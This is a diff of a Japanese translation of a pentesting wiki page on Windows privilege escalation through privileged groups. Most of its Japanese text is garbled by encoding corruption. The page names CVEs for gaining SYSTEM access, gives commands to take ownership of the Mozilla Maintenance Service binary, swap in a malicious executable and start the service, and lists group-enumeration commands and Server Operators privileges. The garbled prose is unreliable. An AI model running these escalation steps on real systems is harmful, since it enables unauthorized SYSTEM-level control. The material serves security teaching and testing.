ããŸãããç§ãã¡ã¯**`.vhdx`**ãã¡ã€ã«ã**åé€**ãããã®ãã¡ã€ã«ã**ä¿è·ãããSYSTEMãã¡ã€ã«**ã«åããããã®ãã€ãã£ããª**ããŒããªã³ã¯**ãäœæããããšãã§ããŸãããããšãå®å
šãªã¢ã¯ã»ã¹æš©ãäžããããŸãã
-ãããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã[CVE-2018-0952](https://www.tenable.com/cve/CVE-2018-0952)ãŸãã¯[CVE-2019-0841](https://www.tenable.com/cve/CVE-2019-0841)ã«è匱ã§ããå Žåããããå©çšããŠSYSTEMæš©éãååŸããããšãã§ããŸããããã§ãªãå Žåã¯ã**ãµãŒããŒäžã«ã€ã³ã¹ããŒã«ãããŠããã¢ããªã±ãŒã·ã§ã³ãSYSTEMã®ã³ã³ããã¹ãã§å®è¡ããããµãŒãã¹ãæã£ãŠãã**ããšãå©çšããããšãã§ããŸãããã®ãµãŒãã¹ã¯ãç¹æš©ã®ãªããŠãŒã¶ãŒã«ãã£ãŠèµ·åããããšãã§ããŸãã
+ãªãã¬ãŒãã£ã³ã°ã·ã¹ãã ã[CVE-2018-0952](https://www.tenable.com/cve/CVE-2018-0952)ãŸãã¯[CVE-2019-0841](https://www.tenable.com/cve/CVE-2019-0841)ã«å¯ŸããŠè匱ã§ããå Žåããããå©çšããŠSYSTEMç¹æš©ãååŸããããšãã§ããŸãããã以å€ã®å Žåãç¹æš©ã®ãªããŠãŒã¶ãŒãèµ·åã§ãã**SYSTEMã®ã³ã³ããã¹ãã§å®è¡ããããµãŒãã¹ãã€ã³ã¹ããŒã«ããŠãããµãŒããŒäžã®ã¢ããªã±ãŒã·ã§ã³ãå©çš**ããããšãã§ããŸãã
### **æ»æäŸ**
@@ -281,7 +313,7 @@ C:\htb> takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanc
```
#### **Mozillaã¡ã³ããã³ã¹ãµãŒãã¹ã®éå§**
-次ã«ããã®ãã¡ã€ã«ã**æªæã®ãã`maintenanceservice.exe`**ã§çœ®ãæããã¡ã³ããã³ã¹ãµãŒãã¹ã**éå§**ããSYSTEMãšããŠã³ãã³ãã®å®è¡ãè¡ãããšãã§ããŸãã
+次ã«ããã®ãã¡ã€ã«ã**æªæã®ãã`maintenanceservice.exe`**ã§çœ®ãæããã¡ã³ããã³ã¹ãµãŒãã¹ã**éå§**ããSYSTEMãšããŠã³ãã³ãã®å®è¡ãè¡ããŸãã
```
C:\htb> sc.exe start MozillaMaintenance
```
@@ -338,7 +370,7 @@ Get-NetLocalGroupMember -ComputerName -GroupName "Remote Desktop Users
Get-NetGroupMember -Identity "Remote Management Users" -Recurse
Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Users"
```
-**WinRM**ã«ã€ããŠã®è©³çŽ°æ
å ±ïŒ
+**WinRM**ã«ã€ããŠã®è©³çŽ°æ
å ±ã¯æ¬¡ã®ãšããã§ãïŒ
{% content-ref url="../../network-services-pentesting/5985-5986-pentesting-winrm.md" %}
[5985-5986-pentesting-winrm.md](../../network-services-pentesting/5985-5986-pentesting-winrm.md)
@@ -346,11 +378,11 @@ Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Us
## ãµãŒããŒãªãã¬ãŒã¿ãŒ
-ãã®ã¡ã³ããŒã·ããã«ããããŠãŒã¶ãŒã¯ä»¥äžã®ç¹æš©ãæã€ãã¡ã€ã³ã³ã³ãããŒã©ãæ§æã§ããŸãïŒ
+ãã®ã¡ã³ããŒã·ããã«ããããŠãŒã¶ãŒã¯ä»¥äžã®ç¹æš©ãæã€ãã¡ã€ã³ã³ã³ãããŒã©ãŒãæ§æã§ããŸãïŒ
* ããŒã«ã«ã§ã®ãã°ãªã³ãèš±å¯ãã
* ãã¡ã€ã«ãšãã£ã¬ã¯ããªã®ããã¯ã¢ãã
-* \`\`[`SeBackupPrivilege`](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#sebackupprivilege-3.1.4) ãš [`SeRestorePrivilege`](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#serestoreprivilege-3.1.5)
+* \`\`[`SeBackupPrivilege`](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#sebackupprivilege-3.1.4) ããã³ [`SeRestorePrivilege`](../windows-local-privilege-escalation/privilege-escalation-abusing-tokens/#serestoreprivilege-3.1.5)
* ã·ã¹ãã ã®æå»ã®å€æŽ
* ã¿ã€ã ãŸãŒã³ã®å€æŽ
* ãªã¢ãŒãã·ã¹ãã ããã®åŒ·å¶ã·ã£ããããŠã³